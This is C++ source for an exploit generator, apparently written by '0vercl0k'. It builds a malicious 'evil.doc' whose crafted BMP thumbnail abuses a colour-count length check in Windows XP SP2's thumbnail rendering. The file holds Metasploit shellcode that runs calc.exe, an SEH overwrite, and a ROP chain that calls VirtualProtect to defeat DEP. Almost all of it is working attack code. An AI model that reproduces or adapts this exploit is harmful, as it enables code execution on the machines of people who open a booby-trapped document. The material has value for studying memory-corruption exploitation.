#include <windows.h> #include <objbase.h> #include <stdio.h> #include <string> class ExploitGenerator { private: typedef struct { BITMAPINFOHEADER bmiInfoHeader; RGBQUAD bmiColors[2000]; } __attribute__ ((__packed__)) THUMBPWN, *PTHUMBPWN; static const unsigned short offsetSeh = 380; static const unsigned short offsetRopStack = 164; static PTHUMBPWN CraftBMPThumbnail(PDWORD size) { /* windows/exec - 200 bytes http://www.metasploit.com EXITFUNC=process, CMD=calc.exe */ UCHAR sh[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" "\x65\x78\x65\x00"; PTHUMBPWN pThumb = NULL; DWORD i = 0, j = 0, ropStack[] = { 0x5B099EE7, //push esp / mov eax, edx / pop edi / retn :: save esp in edi 0x6FF25365, //push edi / pop eax / retn :: save esp in eax 0x77C190C3, //add esp, 18 / pop ebp / retn :: pivoting the stack, goto line 62 0x7C801AD0, //VirtualProtect address 0xF4F4F4F4, //return address :: modified later in the ropstack :) 0xEEEEEEEE, //lpAddress :: modified later in the ropstack :) 0x00000100, //dwSize 0x00000040, //PAGE_EXECUTE_READWRITE 0x010462E0, //lpOldProtect 0xF4F4F4F4, //pop ebp :: padding 0x77743A33, //inc edi :: edi+1 0x77743A33, //inc edi :: edi+2 0x77743A33, //inc edi :: edi+3 0x77743A33, //inc edi :: edi+4 0x77743A33, //inc edi :: edi+5 0x77743A33, //inc edi :: edi+6 0x77743A33, //inc edi :: edi+7 0x77743A33, //inc edi :: edi+8 0x77743A33, //inc edi :: edi+9 0x77743A33, //inc edi :: edi+10 0x77743A33, //inc edi :: edi+11 0x77743A33, //inc edi :: edi+12 :: [edi] point on line 54 (return address) 0x774D0391, //add eax, 23c / retn :: eax will point after the ropstack, in the nospled 0x77A2C665, //mov [edi], eax / xor eax, eax / inc eax / pop esi / pop ebx / pop ebp / retn 8 :: write the return address 0xAAAAAAAA, //pop esi :: padding 0xAAAAAAAA, //pop ebx :: padding 0xC5CDE620, //pop ebp :: but we want a writeable addr, x+0x3B367CC0=0x010462E0 so x=0x010462E0-0x3B367CC0=0xC5CDE620 0x7C985932, //mov ecx, edi / inc dword [ebp+0x3B367CC0] / retn 0xAAAAAAAA, //retn 8 :: padding 0xAAAAAAAA, //retn 8 :: padding 0x0101FA4F, //mov eax, ecx / retn :: so eax=edi now, an address in the stack 0x77743A33, //inc edi :: edi+13 0x77743A33, //inc edi :: edi+14 0x77743A33, //inc edi :: edi+15 0x77743A33, //inc edi :: edi+16 :: [edi] point on line 55 (lpAddress) 0x77A2C665, //mov [edi], eax / xor eax, eax / inc eax / pop esi / pop ebx / pop ebp / retn 8 :: write the lpAddress 0xAAAAAAAA, //pop esi :: padding 0xAAAAAAAA, //pop ebx :: padding 0xC5CDE620, //pop ebp :: but we want a writeable addr, x+0x3B367CC0=0x010462E0 so x=0x010462E0-0x3B367CC0=0xC5CDE620 0x77393CC0, //dec edi :: edi+15 0xAAAAAAAA, //retn 8 :: padding 0xAAAAAAAA, //retn 8 :: padding 0x77393CC0, //dec edi :: edi+14 0x77393CC0, //dec edi :: edi+13 0x77393CC0, //dec edi :: edi+12 0x77393CC0, //dec edi :: edi+11 0x77393CC0, //dec edi :: edi+10 0x77393CC0, //dec edi :: edi+9 0x77393CC0, //dec edi :: edi+8 :: [edi] point on VirtualProtect address 0x7C985932, //mov ecx, edi / inc dword [ebp+0x3B367CC0] / retn 0x0101FA4F, //mov eax, ecx / retn :: so eax=edi now, address of the VirtualProtect pointer 0x5B0B5593 //xchg eax, esp :: pivoting the stack in order to call VirtualProtect and execute our payload ! }; pThumb = (PTHUMBPWN)malloc(sizeof(THUMBPWN)); if(pThumb == NULL) { fprintf(stderr, "[!] Allocation error.\n"); return NULL; } ZeroMemory(pThumb, sizeof(THUMBPWN)); /* Craft BMP info header */ pThumb->bmiInfoHeader.biSize = sizeof(BITMAPINFOHEADER); //Size of the structure, in bytes. pThumb->bmiInfoHeader.biWidth = 13; //Width of the bitmap, in pixels. pThumb->bmiInfoHeader.biHeight = 37; //Height of the bitmap, in pixels. pThumb->bmiInfoHeader.biPlanes = 1; //Number of planes for the target device, this value must be set to 1. pThumb->bmiInfoHeader.biBitCount = 8; //Specifies the number of bits per pixel. pThumb->bmiInfoHeader.biCompression = 0; //Uncompressed pThumb->bmiInfoHeader.biSizeImage = 0; //Specifies the size, in bytes, of the image - This may be set to zero for BI_RGB bitmaps. pThumb->bmiInfoHeader.biXPelsPerMeter = 0; //Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. pThumb->bmiInfoHeader.biYPelsPerMeter = 0; //Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. /* Lenght check bypass here with a negative value #@! .text:5CE4FBC1 mov [ebp+bmi.bmiHeader.biClrUsed], eax [...] .text:5CE4FBE9 mov ecx, eax .text:5CE4FBEB loc_5CE4FBEB: ; CODE XREF: CreateSizedDIBSECTION(x,x,x,x,x,x,x)+C6j .text:5CE4FBEB cmp ecx, 100h .text:5CE4FBF1 jg error .text:5CE4FBF7 add esi, 28h .text:5CE4FBFA lea edi, [ebp+bmi.bmiColors] .text:5CE4FC00 rep movsd ;move ds:esi -> ds:edi, repeated ecx times => ecx*4 bytes to write */ pThumb->bmiInfoHeader.biClrUsed = -1; pThumb->bmiInfoHeader.biClrImportant = 0; //Specifies the number of color indexes required for displaying the bitmap - If this value is zero, all colors are required. /* Craft our pixels, but it looks like a nopsled :))... */ for(i = 0; i < (offsetSeh - (sizeof(sh) / 4)); ++i) memset(&pThumb->bmiColors[i], 0x90, sizeof(RGBQUAD)); /* ... plus our ev1l payload... */ memcpy(&pThumb->bmiColors[i], sh, sizeof(sh)); /* ... padding, we love nops <3 */ for(i += (sizeof(sh) / 4); i < offsetSeh; ++i) memset(&pThumb->bmiColors[i], 0x90, sizeof(RGBQUAD)); /* Pointer to SEH Handler - pivoting the stack 0x5864B006 : 4A8 : # ADD ESP,4A8 # RETN - l3codeca.acm - ** */ pThumb->bmiColors[i].rgbBlue = 0x06; pThumb->bmiColors[i].rgbGreen = 0xB0; pThumb->bmiColors[i].rgbRed = 0x64; pThumb->bmiColors[i].rgbReserved = 0x58; ++i; /* ROPStack, break DEP */ for(i = offsetRopStack/4; j < sizeof(ropStack)/sizeof(DWORD); ++i, ++j) *(PDWORD)(&pThumb->bmiColors[i]) = ropStack[j]; if(size != NULL) *size = sizeof(THUMBPWN); return pThumb; } static BOOL CraftDocFile(PWCHAR nameFile) { IPropertySetStorage *pPropSet = NULL; IPropertyStorage *pPropSummInf = NULL; const FMTID idSummInf = { 0xF29F85E0, 0x4FF9, 0x1068, { 0xAB, 0x91, 0x08, 0x00, 0x2B, 0x27, 0xB3, 0xD9 } }; //F29F85E0-4FF9-1068-AB91-08002B27B3D9 PROPVARIANT propVar[2] = {0}; PTHUMBPWN pThumb = NULL; CLIPDATA clipData = {0}; IStorage *pStg = NULL; PROPSPEC prop[2] = {0}; HRESULT status = S_OK; DWORD size = 0; PBYTE mem = NULL; BOOL ret = TRUE; pThumb = CraftBMPThumbnail(&size); if(pThumb == NULL) { fprintf(stderr, "[!] CraftBMPThumbnail failed.\n"); ret = FALSE; goto clean; } mem = (PBYTE)malloc(size + sizeof(DWORD)); if(mem == NULL) { fprintf(stderr, "[!] Memory allocation failed.\n"); ret = FALSE; goto clean; } *(PDWORD)mem = CF_DIB; memcpy(mem+sizeof(DWORD), pThumb, size); status = StgCreateDocfile(nameFile, STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &pStg ); if(status != S_OK) { fprintf(stderr, "[!] .doc file creation failed, error: 0x%.8x.\n", status); ret = FALSE; goto clean; } pStg->Release(); status = StgOpenStorageEx(nameFile, STGM_READWRITE | STGM_SHARE_EXCLUSIVE, STGFMT_ANY, 0, NULL, NULL, IID_IPropertySetStorage, (PVOID*)&pPropSet ); if(status != S_OK) { fprintf(stderr, "[!] Storage open failed, error: %u|0x%.8x.\n", status, status); ret = FALSE; goto clean; } status = pPropSet->Create(idSummInf, NULL, PROPSETFLAG_ANSI, STGM_READWRITE | STGM_SHARE_EXCLUSIVE, &pPropSummInf ); if(status != S_OK) { fprintf(stderr, "[!] SummaryInformation creation failed, error: %u|0x%.8x.\n", status, status); ret = FALSE; goto clean; } prop[0].ulKind = prop[1].ulKind = PRSPEC_PROPID; prop[0].propid = PIDSI_THUMBNAIL; propVar[0].vt = VT_CF; propVar[0].pclipdata = &clipData; clipData.cbSize = size + sizeof(DWORD) + sizeof(clipData.ulClipFmt); clipData.ulClipFmt = -1; clipData.pClipData = mem; prop[1].propid = PIDSI_AUTHOR; propVar[1].vt = VT_LPSTR; propVar[1].pszVal = "0vercl0k"; status = pPropSummInf->WriteMultiple(2, prop, propVar, 0 ); pPropSummInf->Release(); pPropSet->Release(); clean: if(pThumb != NULL) free(pThumb); if(mem != NULL) free(mem); return ret; } public: static BOOL Generate(std::wstring name) { return CraftDocFile((PWCHAR)name.c_str()); } }; int main(int argc, char* argv[]) { printf("-[ Pwn Windows XP SP2 FR with this thumbnail, by 0vercl0k\n"); ExploitGenerator::Generate(std::wstring(L"evil.doc")); return EXIT_SUCCESS; }